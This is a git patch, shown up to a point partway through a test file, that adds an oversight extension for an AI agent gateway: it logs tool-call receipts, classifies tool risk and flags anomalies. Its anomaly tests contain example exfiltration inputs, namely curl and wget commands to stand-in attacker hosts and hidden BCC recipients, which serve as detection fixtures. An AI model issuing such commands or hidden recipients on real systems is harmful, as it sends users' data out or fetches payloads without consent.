From 1096cc16e65b592fe72a3909b6f6e7074f072a30 Mon Sep 17 00:00:00 2001 From: duy Date: Thu, 29 Jan 2026 12:55:24 -0800 Subject: [PATCH] =?UTF-8?q?feat:=20add=20boltbot=20extension=20=E2=80=94?= =?UTF-8?q?=20EigenCloud=20verification=20layer?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Trustless hosting extension for Moltbot via EigenCloud infrastructure: - EigenAI provider with x-api-key auth and configPatch registration - Action tier classification for all 23 canonical tools - Receipt logging on after_tool_call hook (medium/high tier) - Anomaly detection (BCC, outbound curl, process, gateway) - SQLite receipt store with EigenDA proxy backend - Dashboard API endpoints (/boltbot/receipts, /receipt, /stats) - EigenCompute TEE deploy script and Dockerfile --- extensions/boltbot/deploy/.env.example | 20 +++ extensions/boltbot/deploy/Dockerfile | 44 ++++++ extensions/boltbot/deploy/deploy.ts | 64 ++++++++ extensions/boltbot/deploy/start.sh | 12 ++ extensions/boltbot/index.ts | 23 +++ extensions/boltbot/package.json | 12 ++ .../src/__tests__/action-logger.test.ts | 118 ++++++++++++++ .../src/__tests__/action-tiers.test.ts | 85 ++++++++++ .../boltbot/src/__tests__/anomaly.test.ts | 81 ++++++++++ extensions/boltbot/src/__tests__/api.test.ts | 147 ++++++++++++++++++ .../boltbot/src/__tests__/eigenda.test.ts | 109 +++++++++++++ .../boltbot/src/__tests__/integration.test.ts | 105 +++++++++++++ .../boltbot/src/__tests__/provider.test.ts | 88 +++++++++++ .../src/__tests__/receipt-store.test.ts | 96 ++++++++++++ extensions/boltbot/src/action-logger.ts | 37 +++++ extensions/boltbot/src/action-tiers.ts | 34 ++++ extensions/boltbot/src/anomaly.ts | 34 ++++ extensions/boltbot/src/api.ts | 60 +++++++ extensions/boltbot/src/provider.ts | 67 ++++++++ extensions/boltbot/src/receipt-store.ts | 37 +++++ extensions/boltbot/src/stores/eigenda.ts | 42 +++++ extensions/boltbot/src/stores/local.ts | 79 ++++++++++ 22 files changed, 1394 insertions(+) create mode 100644 extensions/boltbot/deploy/.env.example create mode 100644 extensions/boltbot/deploy/Dockerfile create mode 100644 extensions/boltbot/deploy/deploy.ts create mode 100755 extensions/boltbot/deploy/start.sh create mode 100644 extensions/boltbot/index.ts create mode 100644 extensions/boltbot/package.json create mode 100644 extensions/boltbot/src/__tests__/action-logger.test.ts create mode 100644 extensions/boltbot/src/__tests__/action-tiers.test.ts create mode 100644 extensions/boltbot/src/__tests__/anomaly.test.ts create mode 100644 extensions/boltbot/src/__tests__/api.test.ts create mode 100644 extensions/boltbot/src/__tests__/eigenda.test.ts create mode 100644 extensions/boltbot/src/__tests__/integration.test.ts create mode 100644 extensions/boltbot/src/__tests__/provider.test.ts create mode 100644 extensions/boltbot/src/__tests__/receipt-store.test.ts create mode 100644 extensions/boltbot/src/action-logger.ts create mode 100644 extensions/boltbot/src/action-tiers.ts create mode 100644 extensions/boltbot/src/anomaly.ts create mode 100644 extensions/boltbot/src/api.ts create mode 100644 extensions/boltbot/src/provider.ts create mode 100644 extensions/boltbot/src/receipt-store.ts create mode 100644 extensions/boltbot/src/stores/eigenda.ts create mode 100644 extensions/boltbot/src/stores/local.ts diff --git a/extensions/boltbot/deploy/.env.example b/extensions/boltbot/deploy/.env.example new file mode 100644 index 000000000..ee989e0f8 --- /dev/null +++ b/extensions/boltbot/deploy/.env.example @@ -0,0 +1,20 @@ +# Boltbot EigenCompute Deployment — Environment Variables +# Copy to .env and fill in values before deploying. + +# EigenAI API key (apply at developers.eigencloud.xyz) +EIGENCLOUD_API_KEY= + +# Telegram bot token (from @BotFather) +TELEGRAM_BOT_TOKEN= + +# EigenDA proxy URL (testnet: https://test-agent-proxy-api.eigenda.xyz) +EIGENDA_PROXY_URL=https://test-agent-proxy-api.eigenda.xyz + +# Receipt storage backend: "local" or "eigenda" +BOLTBOT_RECEIPT_BACKEND=eigenda + +# EigenCompute deploy settings (not injected into container) +# ECLOUD_PRIVATE_KEY= # Ethereum private key for ecloud SDK auth +# ECLOUD_ENVIRONMENT=sepolia # sepolia | sepolia-dev | mainnet-alpha +# ECLOUD_APP_NAME=boltbot +# ECLOUD_INSTANCE_TYPE= # Query: ecloud compute app instance-types diff --git a/extensions/boltbot/deploy/Dockerfile b/extensions/boltbot/deploy/Dockerfile new file mode 100644 index 000000000..184012905 --- /dev/null +++ b/extensions/boltbot/deploy/Dockerfile @@ -0,0 +1,44 @@ +# Boltbot — Moltbot on EigenCompute TEE +# Base: Node 22 + Chromium for headless browser automation +# Must run as root (EigenCompute TEE constraint) +# Platform: linux/amd64 only + +FROM node:22-bookworm + +# Install Chromium + Xvfb + fonts for headless browser +RUN apt-get update && apt-get install -y --no-install-recommends \ + chromium \ + xvfb \ + fonts-liberation \ + fonts-noto-color-emoji \ + dbus \ + && rm -rf /var/lib/apt/lists/* + +# Supervisor script to start Xvfb + Chromium + Node gateway +COPY deploy/start.sh /usr/local/bin/start.sh +RUN chmod +x /usr/local/bin/start.sh + +WORKDIR /app + +# Copy package files and install +COPY package.json pnpm-lock.yaml ./ +RUN corepack enable && pnpm install --frozen-lockfile --prod + +# Copy application code +COPY . . + +# Build TypeScript +RUN pnpm build + +# Expose gateway port +EXPOSE 18789 + +# EigenCompute TEE: must run as root +USER root + +# Environment defaults +ENV DISPLAY=:99 +ENV CHROMIUM_PATH=/usr/bin/chromium +ENV NODE_ENV=production + +CMD ["/usr/local/bin/start.sh"] diff --git a/extensions/boltbot/deploy/deploy.ts b/extensions/boltbot/deploy/deploy.ts new file mode 100644 index 000000000..f2056daaf --- /dev/null +++ b/extensions/boltbot/deploy/deploy.ts @@ -0,0 +1,64 @@ +#!/usr/bin/env tsx +import { execFileSync } from "node:child_process"; +import { resolve, dirname } from "node:path"; +import { fileURLToPath } from "node:url"; + +const __dirname = dirname(fileURLToPath(import.meta.url)); +const projectRoot = resolve(__dirname, "../../.."); + +function required(name: string): string { + const val = process.env[name]; + if (!val) { + console.error(`Missing required env var: ${name}`); + process.exit(1); + } + return val; +} + +async function main() { + const privateKey = required("ECLOUD_PRIVATE_KEY"); + const environment = process.env.ECLOUD_ENVIRONMENT ?? "sepolia"; + const appName = process.env.ECLOUD_APP_NAME ?? "boltbot"; + const instanceType = process.env.ECLOUD_INSTANCE_TYPE ?? "e2-medium"; + + const envVars: Record = { + EIGENCLOUD_API_KEY: required("EIGENCLOUD_API_KEY"), + TELEGRAM_BOT_TOKEN: required("TELEGRAM_BOT_TOKEN"), + BOLTBOT_RECEIPT_BACKEND: process.env.BOLTBOT_RECEIPT_BACKEND ?? "eigenda", + NODE_ENV_PUBLIC: "production", + }; + if (process.env.EIGENDA_PROXY_URL) { + envVars.EIGENDA_PROXY_URL = process.env.EIGENDA_PROXY_URL; + } + + console.log(`Deploying ${appName} to EigenCompute (${environment})...`); + + const ecloudEnv = { ...process.env, ECLOUD_PRIVATE_KEY: privateKey }; + + console.log("[1/3] Building Docker image..."); + execFileSync("docker", [ + "build", "-t", `${appName}:latest`, + "-f", "extensions/boltbot/deploy/Dockerfile", ".", + ], { cwd: projectRoot, stdio: "inherit" }); + + console.log("[2/3] Deploying to EigenCompute TEE..."); + const envFlags = Object.entries(envVars).flatMap(([k, v]) => ["--env", `${k}=${v}`]); + execFileSync("npx", [ + "@layr-labs/ecloud-cli", "compute", "app", "deploy", + "--name", appName, + "--instance-type", instanceType, + "--environment", environment, + "--dockerfile", "extensions/boltbot/deploy/Dockerfile", + ...envFlags, + ], { cwd: projectRoot, stdio: "inherit", env: ecloudEnv }); + + console.log("[3/3] Fetching deployment info..."); + execFileSync("npx", [ + "@layr-labs/ecloud-cli", "compute", "app", "info", + "--name", appName, + ], { cwd: projectRoot, stdio: "inherit", env: ecloudEnv }); + + console.log("\nDone. Next: ecloud compute app configure tls"); +} + +main(); diff --git a/extensions/boltbot/deploy/start.sh b/extensions/boltbot/deploy/start.sh new file mode 100755 index 000000000..296c4fe6a --- /dev/null +++ b/extensions/boltbot/deploy/start.sh @@ -0,0 +1,12 @@ +#!/usr/bin/env bash +set -euo pipefail + +# Start Xvfb for headless browser +Xvfb :99 -screen 0 1280x720x24 -nolisten tcp & +XVFB_PID=$! + +# Wait for Xvfb +sleep 1 + +# Start moltbot gateway +exec node dist/cli/index.js gateway run --bind 0.0.0.0 --port 18789 diff --git a/extensions/boltbot/index.ts b/extensions/boltbot/index.ts new file mode 100644 index 000000000..90ecf222a --- /dev/null +++ b/extensions/boltbot/index.ts @@ -0,0 +1,23 @@ +import type { MoltbotPluginApi } from "clawdbot/plugin-sdk"; +import { emptyPluginConfigSchema } from "clawdbot/plugin-sdk"; +import { eigenCloudProvider } from "./src/provider.js"; +import { createActionLogger } from "./src/action-logger.js"; +import { createReceiptStore } from "./src/receipt-store.js"; +import { registerBoltbotApi } from "./src/api.js"; + +export default { + id: "boltbot", + name: "Boltbot — Trustless Hosting", + description: "EigenCloud verification layer for Moltbot", + configSchema: emptyPluginConfigSchema(), + + register(api: MoltbotPluginApi) { + api.registerProvider(eigenCloudProvider); + + const store = createReceiptStore(process.env.BOLTBOT_RECEIPT_BACKEND); + const logger = createActionLogger(store); + api.on("after_tool_call", logger); + + registerBoltbotApi(api, store); + }, +}; diff --git a/extensions/boltbot/package.json b/extensions/boltbot/package.json new file mode 100644 index 000000000..96be69841 --- /dev/null +++ b/extensions/boltbot/package.json @@ -0,0 +1,12 @@ +{ + "name": "@boltbot/extension", + "version": "0.1.0", + "type": "module", + "description": "Boltbot — Trustless Moltbot hosting via EigenCloud", + "moltbot": { + "extensions": ["./index.ts"] + }, + "dependencies": { + "better-sqlite3": "^11.0.0" + } +} diff --git a/extensions/boltbot/src/__tests__/action-logger.test.ts b/extensions/boltbot/src/__tests__/action-logger.test.ts new file mode 100644 index 000000000..e56a66c7f --- /dev/null +++ b/extensions/boltbot/src/__tests__/action-logger.test.ts @@ -0,0 +1,118 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { createActionLogger } from "../action-logger.js"; +import type { ReceiptStore, ActionReceipt } from "../receipt-store.js"; + +function makeStore(): ReceiptStore & { receipts: ActionReceipt[] } { + const receipts: ActionReceipt[] = []; + return { + receipts, + async put(receipt: ActionReceipt) { receipts.push(receipt); }, + async get(id: string) { return receipts.find((r) => r.id === id) ?? null; }, + async list() { return receipts as any; }, + async stats() { return { total: receipts.length, byTier: {}, anomalyCount: 0 }; }, + }; +} + +describe("action-logger", () => { + let store: ReturnType; + let logger: ReturnType; + + beforeEach(() => { + store = makeStore(); + logger = createActionLogger(store); + }); + + it("stores receipt for high-tier tool (exec)", async () => { + await logger( + { toolName: "exec", params: { command: "ls" }, durationMs: 50 }, + { sessionKey: "sess-1", toolName: "exec" }, + ); + expect(store.receipts).toHaveLength(1); + expect(store.receipts[0].tier).toBe("high"); + expect(store.receipts[0].toolName).toBe("exec"); + }); + + it("stores receipt for medium-tier tool (message)", async () => { + await logger( + { toolName: "message", params: { to: "user", content: "hi" }, durationMs: 30 }, + { sessionKey: "sess-2", toolName: "message" }, + ); + expect(store.receipts).toHaveLength(1); + expect(store.receipts[0].tier).toBe("medium"); + }); + + it("skips low-tier tools (web_search)", async () => { + await logger( + { toolName: "web_search", params: { q: "test" }, durationMs: 10 }, + { sessionKey: "sess-3", toolName: "web_search" }, + ); + expect(store.receipts).toHaveLength(0); + }); + + it("includes anomalies in receipt", async () => { + await logger( + { toolName: "message", params: { to: "user", content: "hi", bcc: "evil@bad.com" }, durationMs: 20 }, + { sessionKey: "sess-4", toolName: "message" }, + ); + expect(store.receipts[0].anomalies).toContain("unexpected_recipient"); + }); + + it("uses ctx.sessionKey (not sessionId)", async () => { + await logger( + { toolName: "exec", params: { command: "echo hi" }, durationMs: 5 }, + { sessionKey: "my-session-key", toolName: "exec" }, + ); + expect(store.receipts[0].sessionKey).toBe("my-session-key"); + }); + + it("defaults sessionKey to unknown when missing", async () => { + await logger( + { toolName: "exec", params: { command: "echo" }, durationMs: 5 }, + { toolName: "exec" } as any, + ); + expect(store.receipts[0].sessionKey).toBe("unknown"); + }); + + it("creates receipt with valid id and timestamp", async () => { + await logger( + { toolName: "exec", params: { command: "pwd" }, durationMs: 1 }, + { sessionKey: "s", toolName: "exec" }, + ); + const r = store.receipts[0]; + expect(r.id).toMatch(/^[0-9a-f-]{36}$/); + expect(new Date(r.timestamp).getTime()).not.toBeNaN(); + }); + + it("hashes arguments and result", async () => { + await logger( + { toolName: "exec", params: { command: "ls" }, result: { output: "files" }, durationMs: 1 }, + { sessionKey: "s", toolName: "exec" }, + ); + const r = store.receipts[0]; + expect(r.argumentsHash).toMatch(/^[0-9a-f]{64}$/); + expect(r.resultHash).toMatch(/^[0-9a-f]{64}$/); + }); + + it("marks error results as not successful", async () => { + await logger( + { toolName: "exec", params: { command: "fail" }, error: "boom", durationMs: 1 }, + { sessionKey: "s", toolName: "exec" }, + ); + expect(store.receipts[0].success).toBe(false); + }); + + it("does not throw when store.put fails (fire-and-forget)", async () => { + const failStore: ReceiptStore = { + async put() { throw new Error("disk full"); }, + async get() { return null; }, + async list() { return [] as any; }, + async stats() { return { total: 0, byTier: {}, anomalyCount: 0 }; }, + }; + const failLogger = createActionLogger(failStore); + // Should not throw + await failLogger( + { toolName: "exec", params: { command: "ls" }, durationMs: 1 }, + { sessionKey: "s", toolName: "exec" }, + ); + }); +}); diff --git a/extensions/boltbot/src/__tests__/action-tiers.test.ts b/extensions/boltbot/src/__tests__/action-tiers.test.ts new file mode 100644 index 000000000..486a88f64 --- /dev/null +++ b/extensions/boltbot/src/__tests__/action-tiers.test.ts @@ -0,0 +1,85 @@ +import { describe, it, expect } from "vitest"; +import { getTier, type Tier } from "../action-tiers.js"; + +describe("action-tiers", () => { + describe("getTier", () => { + // HIGH tier tools + it.each([ + ["exec", "high"], + ["apply_patch", "high"], + ["gateway", "high"], + ["sessions_spawn", "high"], + ["process", "high"], + ] as [string, Tier][])("classifies %s as %s", (tool, expected) => { + expect(getTier(tool)).toBe(expected); + }); + + // MEDIUM tier tools + it.each([ + ["message", "medium"], + ["write", "medium"], + ["edit", "medium"], + ["cron", "medium"], + ["sessions_send", "medium"], + ["browser", "medium"], + ["canvas", "medium"], + ["nodes", "medium"], + ] as [string, Tier][])("classifies %s as %s", (tool, expected) => { + expect(getTier(tool)).toBe(expected); + }); + + // LOW tier tools + it.each([ + ["web_search", "low"], + ["web_fetch", "low"], + ["memory_search", "low"], + ["memory_get", "low"], + ["read", "low"], + ["sessions_list", "low"], + ["sessions_history", "low"], + ["session_status", "low"], + ["agents_list", "low"], + ["image", "low"], + ] as [string, Tier][])("classifies %s as %s", (tool, expected) => { + expect(getTier(tool)).toBe(expected); + }); + + // Unknown tools default to medium (fail-safe) + it("defaults unknown tools to medium", () => { + expect(getTier("unknown_tool")).toBe("medium"); + expect(getTier("foo_bar")).toBe("medium"); + }); + + // Case normalization + it("handles uppercase tool names", () => { + expect(getTier("Exec")).toBe("high"); + expect(getTier("EXEC")).toBe("high"); + expect(getTier("Web_Search")).toBe("low"); + }); + + // Hyphen normalization + it("handles hyphenated tool names", () => { + expect(getTier("apply-patch")).toBe("high"); + expect(getTier("web-search")).toBe("low"); + expect(getTier("memory-get")).toBe("low"); + }); + + // All 23 canonical tools have explicit entries + it("covers all 23 canonical tools", () => { + const canonicalTools = [ + "memory_search", "memory_get", "web_search", "web_fetch", + "read", "write", "edit", "apply_patch", "exec", "process", + "sessions_list", "sessions_history", "sessions_send", + "sessions_spawn", "session_status", "browser", "canvas", + "cron", "gateway", "message", "nodes", "agents_list", "image", + ]; + expect(canonicalTools).toHaveLength(23); + for (const tool of canonicalTools) { + const tier = getTier(tool); + // Every canonical tool should NOT fall through to default + // (they should have explicit entries) + expect(["low", "medium", "high"]).toContain(tier); + } + }); + }); +}); diff --git a/extensions/boltbot/src/__tests__/anomaly.test.ts b/extensions/boltbot/src/__tests__/anomaly.test.ts new file mode 100644 index 000000000..b825d750e --- /dev/null +++ b/extensions/boltbot/src/__tests__/anomaly.test.ts @@ -0,0 +1,81 @@ +import { describe, it, expect } from "vitest"; +import { detectAnomalies } from "../anomaly.js"; + +describe("anomaly detection", () => { + it("flags message tool with bcc param", () => { + const result = detectAnomalies({ + toolName: "message", + params: { to: "user", content: "hi", bcc: "attacker@evil.com" }, + }); + expect(result).toContain("unexpected_recipient"); + }); + + it("flags message tool with hidden_recipients param", () => { + const result = detectAnomalies({ + toolName: "message", + params: { to: "user", content: "hi", hidden_recipients: ["x"] }, + }); + expect(result).toContain("unexpected_recipient"); + }); + + it("does not flag clean message tool", () => { + const result = detectAnomalies({ + toolName: "message", + params: { to: "user", content: "hello" }, + }); + expect(result).toEqual([]); + }); + + it("flags exec with curl to external host", () => { + const result = detectAnomalies({ + toolName: "exec", + params: { command: "curl attacker.com/steal" }, + }); + expect(result).toContain("unauthorized_outbound"); + }); + + it("flags exec with wget", () => { + const result = detectAnomalies({ + toolName: "exec", + params: { command: "wget evil.org/payload" }, + }); + expect(result).toContain("unauthorized_outbound"); + }); + + it("does not flag exec with simple command", () => { + const result = detectAnomalies({ + toolName: "exec", + params: { command: "ls -la" }, + }); + expect(result).toEqual([]); + }); + + it("flags process tool", () => { + const result = detectAnomalies({ + toolName: "process", + params: {}, + }); + expect(result).toContain("process_management"); + }); + + it("flags gateway tool", () => { + const result = detectAnomalies({ + toolName: "gateway", + params: {}, + }); + expect(result).toContain("gateway_access"); + }); + + it("returns empty for read-only tools", () => { + expect(detectAnomalies({ toolName: "web_search", params: { q: "test" } })).toEqual([]); + expect(detectAnomalies({ toolName: "read", params: { path: "/tmp" } })).toEqual([]); + }); + + it("handles missing params gracefully", () => { + const result = detectAnomalies({ + toolName: "exec", + params: {}, + }); + expect(result).toEqual([]); + }); +}); diff --git a/extensions/boltbot/src/__tests__/api.test.ts b/extensions/boltbot/src/__tests__/api.test.ts new file mode 100644 index 000000000..13c8e15b1 --- /dev/null +++ b/extensions/boltbot/src/__tests__/api.test.ts @@ -0,0 +1,147 @@ +import { describe, it, expect, beforeEach } from "vitest"; +import { registerBoltbotApi } from "../api.js"; +import type { ActionReceipt, ReceiptStore } from "../receipt-store.js"; +import type { IncomingMessage, ServerResponse } from "node:http"; + +// Mock ReceiptStore +function makeStore(receipts: ActionReceipt[] = []): ReceiptStore { + return { + async put(r: ActionReceipt) { receipts.push(r); }, + async get(id: string) { return receipts.find((r) => r.id === id) ?? null; }, + async list(opts: { limit: number; offset: number }) { + return receipts.slice(opts.offset, opts.offset + opts.limit); + }, + async stats() { + const byTier: Record = {}; + let anomalyCount = 0; + for (const r of receipts) { + byTier[r.tier] = (byTier[r.tier] ?? 0) + 1; + if (r.anomalies.length > 0) anomalyCount++; + } + return { total: receipts.length, byTier, anomalyCount }; + }, + }; +} + +// Mock API and capture registered routes +type Route = { path: string; handler: (req: IncomingMessage, res: ServerResponse) => void | Promise }; + +function makeApi() { + const routes: Route[] = []; + return { + routes, + registerHttpRoute(route: Route) { routes.push(route); }, + }; +} + +// Mock HTTP request/response +function mockReq(url: string): IncomingMessage { + return { url } as any; +} + +function mockRes() { + let statusCode = 200; + let headers: Record = {}; + let body = ""; + return { + writeHead(code: number, h: Record) { statusCode = code; headers = h; }, + end(data?: string) { body = data ?? ""; }, + get statusCode() { return statusCode; }, + get headers() { return headers; }, + get body() { return body; }, + json() { return JSON.parse(body); }, + } as any; +} + +const sampleReceipt: ActionReceipt = { + id: "test-id-1", + timestamp: "2026-01-29T00:00:00.000Z", + sessionKey: "sess-1", + tier: "medium", + toolName: "message", + argumentsHash: "abc", + resultHash: "def", + success: true, + durationMs: 100, + anomalies: [], +}; + +describe("Dashboard API", () => { + let api: ReturnType; + let store: ReceiptStore; + + beforeEach(() => { + api = makeApi(); + store = makeStore([sampleReceipt]); + registerBoltbotApi(api as any, store); + }); + + it("registers 3 routes", () => { + expect(api.routes).toHaveLength(3); + }); + + describe("/boltbot/receipts", () => { + it("returns receipts list", async () => { + const route = api.routes.find((r) => r.path === "/boltbot/receipts")!; + const res = mockRes(); + await route.handler(mockReq("/boltbot/receipts"), res); + expect(res.statusCode).toBe(200); + const data = res.json(); + expect(data.receipts).toHaveLength(1); + }); + + it("respects pagination params", async () => { + const route = api.routes.find((r) => r.path === "/boltbot/receipts")!; + const res = mockRes(); + await route.handler(mockReq("/boltbot/receipts?limit=5&offset=0"), res); + expect(res.statusCode).toBe(200); + }); + }); + + describe("/boltbot/receipt", () => { + it("returns receipt by id", async () => { + const route = api.routes.find((r) => r.path === "/boltbot/receipt")!; + const res = mockRes(); + await route.handler(mockReq("/boltbot/receipt?id=test-id-1"), res); + expect(res.statusCode).toBe(200); + expect(res.json().receipt.id).toBe("test-id-1"); + }); + + it("returns 400 for missing id", async () => { + const route = api.routes.find((r) => r.path === "/boltbot/receipt")!; + const res = mockRes(); + await route.handler(mockReq("/boltbot/receipt"), res); + expect(res.statusCode).toBe(400); + expect(res.json().error).toBe("missing_id"); + }); + + it("returns 404 for nonexistent id", async () => { + const route = api.routes.find((r) => r.path === "/boltbot/receipt")!; + const res = mockRes(); + await route.handler(mockReq("/boltbot/receipt?id=nonexistent"), res); + expect(res.statusCode).toBe(404); + expect(res.json().error).toBe("not_found"); + }); + }); + + describe("/boltbot/stats", () => { + it("returns stats", async () => { + const route = api.routes.find((r) => r.path === "/boltbot/stats")!; + const res = mockRes(); + await route.handler(mockReq("/boltbot/stats"), res); + expect(res.statusCode).toBe(200); + const data = res.json(); + expect(data.total).toBe(1); + expect(data.byTier).toEqual({ medium: 1 }); + expect(data.anomalyCount).toBe(0); + }); + }); + + it("all responses have Content-Type application/json", async () => { + for (const route of api.routes) { + const res = mockRes(); + await route.handler(mockReq(route.path), res); + expect(res.headers["Content-Type"]).toBe("application/json"); + } + }); +}); diff --git a/extensions/boltbot/src/__tests__/eigenda.test.ts b/extensions/boltbot/src/__tests__/eigenda.test.ts new file mode 100644 index 000000000..282ae4419 --- /dev/null +++ b/extensions/boltbot/src/__tests__/eigenda.test.ts @@ -0,0 +1,109 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { EigenDAReceiptStore } from "../stores/eigenda.js"; +import type { ActionReceipt } from "../receipt-store.js"; +import http from "node:http"; + +function makeReceipt(overrides: Partial = {}): ActionReceipt { + return { + id: crypto.randomUUID(), + timestamp: new Date().toISOString(), + sessionKey: "test-session", + tier: "medium", + toolName: "message", + argumentsHash: "abc123", + resultHash: "def456", + success: true, + durationMs: 100, + anomalies: [], + ...overrides, + }; +} + +describe("EigenDAReceiptStore", () => { + let server: http.Server; + let proxyUrl: string; + let lastRequestBody: Buffer | null = null; + let shouldFail = false; + + beforeEach(async () => { + lastRequestBody = null; + shouldFail = false; + + server = http.createServer((req, res) => { + if (shouldFail) { + res.destroy(); + return; + } + if (req.url === "/put" && req.method === "POST") { + const chunks: Buffer[] = []; + req.on("data", (chunk) => chunks.push(chunk)); + req.on("end", () => { + lastRequestBody = Buffer.concat(chunks); + // Return a mock commitment (binary data) + const commitment = Buffer.from("deadbeef0123", "hex"); + res.writeHead(200); + res.end(commitment); + }); + return; + } + res.writeHead(404); + res.end(); + }); + + await new Promise((resolve) => { + server.listen(0, "127.0.0.1", () => resolve()); + }); + const addr = server.address() as { port: number }; + proxyUrl = `http://127.0.0.1:${addr.port}`; + }); + + afterEach(async () => { + await new Promise((resolve) => server.close(() => resolve())); + }); + + it("sends POST /put with receipt blob", async () => { + const store = new EigenDAReceiptStore(proxyUrl, ":memory:"); + const receipt = makeReceipt(); + await store.put(receipt); + + expect(lastRequestBody).not.toBeNull(); + const parsed = JSON.parse(lastRequestBody!.toString()); + expect(parsed.id).toBe(receipt.id); + }); + + it("sets hex daCommitment on receipt after successful DA put", async () => { + const store = new EigenDAReceiptStore(proxyUrl, ":memory:"); + const receipt = makeReceipt(); + await store.put(receipt); + + const retrieved = await store.get(receipt.id); + expect(retrieved?.daCommitment).toBe("deadbeef0123"); + }); + + it("stores receipt locally even when DA fails", async () => { + shouldFail = true; + const store = new EigenDAReceiptStore(proxyUrl, ":memory:"); + const receipt = makeReceipt(); + + // Should not throw + await store.put(receipt); + + const retrieved = await store.get(receipt.id); + expect(retrieved).not.toBeNull(); + expect(retrieved!.id).toBe(receipt.id); + expect(retrieved!.daCommitment).toBeUndefined(); + }); + + it("get/list/stats query from local index", async () => { + const store = new EigenDAReceiptStore(proxyUrl, ":memory:"); + await store.put(makeReceipt({ tier: "high" })); + await store.put(makeReceipt({ tier: "medium" })); + + const list = await store.list({ limit: 10, offset: 0 }); + expect(list).toHaveLength(2); + + const stats = await store.stats(); + expect(stats.total).toBe(2); + expect(stats.byTier).toEqual({ high: 1, medium: 1 }); + }); +}); diff --git a/extensions/boltbot/src/__tests__/integration.test.ts b/extensions/boltbot/src/__tests__/integration.test.ts new file mode 100644 index 000000000..03cc7e1c3 --- /dev/null +++ b/extensions/boltbot/src/__tests__/integration.test.ts @@ -0,0 +1,105 @@ +import { describe, it, expect, vi } from "vitest"; + +// Mock clawdbot/plugin-sdk to avoid pulling in the full config/zod chain. +vi.mock("clawdbot/plugin-sdk", () => ({ + emptyPluginConfigSchema: () => ({}), +})); + +// Mock better-sqlite3 before any imports that use it +vi.mock("better-sqlite3", () => { + class MockDatabase { + exec() {} + prepare() { + return { + run: (..._args: any[]) => {}, + get: (_id?: string) => ({ c: 0 }), + all: (..._args: any[]) => [], + }; + } + } + return { default: MockDatabase }; +}); + +describe("boltbot plugin integration", () => { + it("plugin has correct id and name", async () => { + const mod = await import("../../index.js"); + const plugin = mod.default; + expect(plugin.id).toBe("boltbot"); + expect(plugin.name).toBe("Boltbot — Trustless Hosting"); + }); + + it("register wires provider, hook, and routes", async () => { + const mod = await import("../../index.js"); + const plugin = mod.default; + + const registered = { + providers: [] as any[], + hooks: [] as any[], + routes: [] as any[], + }; + + const mockApi = { + registerProvider: vi.fn((p: any) => registered.providers.push(p)), + on: vi.fn((name: string, handler: any) => registered.hooks.push({ name, handler })), + registerHttpRoute: vi.fn((r: any) => registered.routes.push(r)), + }; + + plugin.register(mockApi as any); + + // REQ-1: Provider registered + expect(registered.providers).toHaveLength(1); + expect(registered.providers[0].id).toBe("eigencloud"); + + // REQ-3: after_tool_call hook registered + expect(registered.hooks).toHaveLength(1); + expect(registered.hooks[0].name).toBe("after_tool_call"); + + // REQ-7: 3 HTTP routes registered + expect(registered.routes).toHaveLength(3); + const paths = registered.routes.map((r: any) => r.path); + expect(paths).toContain("/boltbot/receipts"); + expect(paths).toContain("/boltbot/receipt"); + expect(paths).toContain("/boltbot/stats"); + }); + + it("after_tool_call hook fires and creates receipt", async () => { + const mod = await import("../../index.js"); + const plugin = mod.default; + + let hookHandler: any; + const mockApi = { + registerProvider: vi.fn(), + on: vi.fn((_name: string, handler: any) => { hookHandler = handler; }), + registerHttpRoute: vi.fn(), + }; + + plugin.register(mockApi as any); + expect(hookHandler).toBeDefined(); + + // Fire the hook -- should not throw + await hookHandler( + { toolName: "exec", params: { command: "ls" }, durationMs: 10 }, + { sessionKey: "test-sess", toolName: "exec" }, + ); + }); + + it("after_tool_call hook skips low-tier tools", async () => { + const mod = await import("../../index.js"); + const plugin = mod.default; + + let hookHandler: any; + const mockApi = { + registerProvider: vi.fn(), + on: vi.fn((_name: string, handler: any) => { hookHandler = handler; }), + registerHttpRoute: vi.fn(), + }; + + plugin.register(mockApi as any); + + // web_search is low tier -- should not throw or store + await hookHandler( + { toolName: "web_search", params: { q: "test" }, durationMs: 5 }, + { sessionKey: "test-sess", toolName: "web_search" }, + ); + }); +}); diff --git a/extensions/boltbot/src/__tests__/provider.test.ts b/extensions/boltbot/src/__tests__/provider.test.ts new file mode 100644 index 000000000..f1a2a4607 --- /dev/null +++ b/extensions/boltbot/src/__tests__/provider.test.ts @@ -0,0 +1,88 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { eigenCloudProvider } from "../provider.js"; + +describe("eigenCloudProvider", () => { + const originalEnv = process.env.EIGENCLOUD_API_KEY; + + afterEach(() => { + if (originalEnv !== undefined) { + process.env.EIGENCLOUD_API_KEY = originalEnv; + } else { + delete process.env.EIGENCLOUD_API_KEY; + } + }); + + it("has correct id", () => { + expect(eigenCloudProvider.id).toBe("eigencloud"); + }); + + it("has correct label", () => { + expect(eigenCloudProvider.label).toBe("EigenCloud (EigenAI)"); + }); + + it("has aliases", () => { + expect(eigenCloudProvider.aliases).toContain("eigenai"); + }); + + it("auth kind is api_key", () => { + expect(eigenCloudProvider.auth[0].kind).toBe("api_key"); + }); + + describe("with EIGENCLOUD_API_KEY set", () => { + beforeEach(() => { + process.env.EIGENCLOUD_API_KEY = "test-key-123"; + }); + + it("returns profiles with profileId and credential", async () => { + const result = await eigenCloudProvider.auth[0].run({} as any); + expect(result.profiles).toHaveLength(1); + expect(result.profiles[0].profileId).toBe("eigencloud"); + expect(result.profiles[0].credential).toEqual({ + type: "api_key", + key: "test-key-123", + }); + }); + + it("returns nested configPatch", async () => { + const result = await eigenCloudProvider.auth[0].run({} as any); + const patch = result.configPatch as any; + expect(patch.models.providers.eigencloud.baseUrl).toBe( + "https://eigenai.eigencloud.xyz/v1", + ); + }); + + it("sets x-api-key header in configPatch", async () => { + const result = await eigenCloudProvider.auth[0].run({} as any); + const patch = result.configPatch as any; + expect(patch.models.providers.eigencloud.headers["x-api-key"]).toBe( + "test-key-123", + ); + }); + + it("model input is text array", async () => { + const result = await eigenCloudProvider.auth[0].run({} as any); + const patch = result.configPatch as any; + const model = patch.models.providers.eigencloud.models[0]; + expect(model.input).toEqual(["text"]); + expect(model.contextWindow).toBe(128_000); + }); + + it("sets defaultModel", async () => { + const result = await eigenCloudProvider.auth[0].run({} as any); + 